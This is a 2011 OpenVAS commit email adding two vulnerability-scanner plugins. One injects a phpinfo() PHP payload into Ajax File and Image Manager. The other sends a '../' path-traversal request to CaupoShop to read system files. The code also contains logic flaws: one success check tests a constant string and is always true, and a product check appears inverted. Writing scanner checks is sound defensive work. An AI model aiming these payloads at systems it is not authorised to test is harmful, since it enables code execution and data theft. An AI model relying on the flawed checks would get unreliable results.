[Openvas-commits] r12020 - in trunk/openvas-plugins: . scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Mon Nov 7 13:28:13 CET 2011


Author: mime
Date: 2011-11-07 13:28:09 +0100 (Mon, 07 Nov 2011)
New Revision: 12020

Added:
   trunk/openvas-plugins/scripts/gb_afim_50523.nasl
   trunk/openvas-plugins/scripts/gb_cauposhop_50530.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
Log:
Added new plugins

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2011-11-07 11:39:43 UTC (rev 12019)
+++ trunk/openvas-plugins/ChangeLog	2011-11-07 12:28:09 UTC (rev 12020)
@@ -1,3 +1,9 @@
+2011-11-04  Michael Meyer <michael.meyer at greenbone.net>
+
+	* scripts/gb_cauposhop_50530.nasl,
+	scripts/gb_afim_50523.nasl:
+	Added new plugins.
+
 2011-11-4  Henri Doreau <henri.doreau at greenbone.net>
 
 	* scripts/mysql_multiple_flaws2.nasl,

Added: trunk/openvas-plugins/scripts/gb_afim_50523.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_afim_50523.nasl	2011-11-07 11:39:43 UTC (rev 12019)
+++ trunk/openvas-plugins/scripts/gb_afim_50523.nasl	2011-11-07 12:28:09 UTC (rev 12020)
@@ -0,0 +1,124 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Ajax File and Image Manager 'data.php' PHP Code Injection Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103334);
+ script_bugtraq_id(50523);
+ script_version ("$Revision$");
+
+ script_name("Ajax File and Image Manager 'data.php' PHP Code Injection Vulnerability");
+
+desc = "Overview:
+Ajax File and Image Manager is prone to a remote PHP code-injection
+vulnerability.
+
+An attacker can exploit this issue to inject and execute arbitrary PHP
+code in the context of the affected application. This may facilitate a
+compromise of the application and the underlying system; other attacks
+are also possible.
+
+Ajax File and Image Manager 1.0 is vulnerable; other versions may also
+be affected.
+
+References:
+http://www.securityfocus.com/bid/50523
+http://www.phpletter.com/";
+
+ script_tag(name:"risk_factor", value:"High");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2011-11-07 07:36:01 +0100 (Mon, 07 Nov 2011)");
+ script_description(desc);
+ script_summary("Determine if installed Ajax File and Image Manager is vulnerable");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+host = get_host_name();
+ex = string("bla=1&blub=2&foo=<?php phpinfo(); ?>");
+
+dirs = make_list("/fm","/file","/filemanager",cgi_dirs());
+
+foreach dir (dirs) {
+
+  filename = string(dir,"/ajaxfilemanager/ajax_create_folder.php");
+
+  req = string("POST ", filename, " HTTP/1.1\r\n", 
+               "Host: ", host, ":", port, "\r\n",
+               "Accept-Encoding: identity\r\n",
+               "Content-Type: application/x-www-form-urlencoded\r\n", 
+               "Content-Length: ", strlen(ex), 
+               "\r\n\r\n", 
+               ex);
+
+  result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+
+  if(result =~ "HTTP/1.. 200") {
+
+    url = string(dir, "/ajaxfilemanager/inc/data.php");
+    req = http_get(item:url, port:port);
+
+    result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+
+    if("<title>phpinfo()") {
+
+      # clean the data.php on success by sending empty POST...
+      ex = string("");
+
+      req = string("POST ", filename, " HTTP/1.1\r\n", 
+                   "Host: ", host, ":", port, "\r\n",
+                   "Accept-Encoding: identity\r\n",
+                   "Content-Type: application/x-www-form-urlencoded\r\n", 
+                   "Content-Length: ", strlen(ex), 
+                   "\r\n\r\n", 
+                   ex); 
+
+      result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+ 
+      security_hole(port:port);
+      exit(0);
+
+    }
+
+  }
+
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_afim_50523.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision Date

Added: trunk/openvas-plugins/scripts/gb_cauposhop_50530.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_cauposhop_50530.nasl	2011-11-07 11:39:43 UTC (rev 12019)
+++ trunk/openvas-plugins/scripts/gb_cauposhop_50530.nasl	2011-11-07 12:28:09 UTC (rev 12020)
@@ -0,0 +1,100 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# CaupoShop 'template' Parameter Local File Include Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103335);
+ script_bugtraq_id(50530);
+ script_version ("$Revision$");
+
+ script_name("CaupoShop 'template' Parameter Local File Include Vulnerability");
+
+desc = "Overview:
+CaupoShop is prone to a local file-include vulnerability because it
+fails to sufficiently sanitize user-supplied input.
+
+An attacker can exploit this vulnerability to obtain potentially
+sensitive information and execute arbitrary local scripts in the
+context of the Web server process. This may allow the attacker
+to compromise the application and computer; other attacks are
+also possible.
+
+References:
+http://www.securityfocus.com/bid/50530
+http://www.caupo.com
+http://www.caupo.net/de/shopsysteme/csp/";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2011-11-07 10:54:56 +0100 (Mon, 07 Nov 2011)");
+ script_description(desc);
+ script_summary("Determine if CaupoShop is prone to a local file-include vulnerability");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/shop",cgi_dirs());
+
+foreach dir (dirs) {
+   
+  url = string(dir, "/index.php"); 
+  req = http_get(item:url, port:port);
+  result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+
+  if(!"cauposhop" >< tolower(result)) {
+
+    files = traversal_files();
+
+    foreach file (keys(files)) {
+
+      url = string(dir,"/index.php?action=template&template=",crap(data:"../",length:6*9),files[file]);
+
+      if(http_vuln_check(port:port, url:url,pattern:file)) {
+     
+        security_warning(port:port);
+        exit(0);
+
+      }
+    }
+  }
+
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_cauposhop_50530.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision Date



More information about the Openvas-commits mailing list